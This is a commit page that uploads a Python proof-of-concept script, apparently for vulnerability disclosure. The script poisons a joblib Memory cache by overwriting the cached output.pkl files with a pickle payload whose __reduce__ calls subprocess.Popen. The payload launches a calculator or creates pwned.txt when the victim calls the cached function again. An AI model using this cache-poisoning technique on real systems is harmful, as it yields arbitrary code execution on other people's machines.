Madhan-Alagarsamy commited on
Commit
c3a35f5
·
verified ·
1 Parent(s): 41a5702

Upload reproduce.py

Browse files
Files changed (1) hide show
  1. reproduce.py +58 -0
reproduce.py ADDED
@@ -0,0 +1,58 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import os
2
+ import glob
3
+ import joblib
4
+ import subprocess
5
+ import platform
6
+ from joblib import Memory
7
+
8
+ # 1. SETUP - Victim's Environment
9
+ CACHE_DIR = "persistent_ml_cache"
10
+ mem = Memory(CACHE_DIR, verbose=0)
11
+
12
+ @mem.cache
13
+ def get_sensitive_data(query_id):
14
+ """A normal function that a researcher might use."""
15
+ print(f"[*] Processing query: {query_id}")
16
+ return {"status": "secure", "data": "top-secret-info"}
17
+
18
+ # 2. VICTIM'S INITIAL ACTION
19
+ print("[Victim] Initializing secure process...")
20
+ get_sensitive_data(101)
21
+ print("[Victim] Process complete. Result cached.\n")
22
+
23
+ # ---------------------------------------------------------
24
+ # 3. ATTACKER'S ACTION (The Poisoning)
25
+ # ---------------------------------------------------------
26
+ print("[Attacker] Searching for Joblib cache files to poison...")
27
+
28
+ # Search for the output.pkl file dynamically
29
+ pattern = os.path.join(CACHE_DIR, "joblib", "**", "get_sensitive_data", "**", "output.pkl")
30
+ cache_files = glob.glob(pattern, recursive=True)
31
+
32
+ class ExploitPayload:
33
+ def __reduce__(self):
34
+ # Cross-platform command: Opens calculator on Windows, creates a file on Linux
35
+ if platform.system() == "Windows":
36
+ command = ['calc.exe']
37
+ else:
38
+ # For Linux/Mac: Creates a 'pwned.txt' file in the current directory
39
+ command = ['touch', 'pwned.txt']
40
+ return (subprocess.Popen, (command,))
41
+
42
+ if cache_files:
43
+ for target in cache_files:
44
+ print(f"[Attacker] Found target: {target}")
45
+ joblib.dump(ExploitPayload(), target)
46
+ print("[Attacker] Cache poisoned successfully!\n")
47
+ else:
48
+ print("[Attacker] Error: No cache files found. Run Step 2 first.\n")
49
+
50
+ # ---------------------------------------------------------
51
+ # 4. THE EXPLOIT - Victim's Second Action
52
+ # ---------------------------------------------------------
53
+ print("[Victim] Running the same process again...")
54
+ # Triggering the RCE
55
+ result = get_sensitive_data(101)
56
+
57
+ print("[Victim] Received result:", result)
58
+ print("[*] RCE Confirmed! (Calculator opened or 'pwned.txt' created)")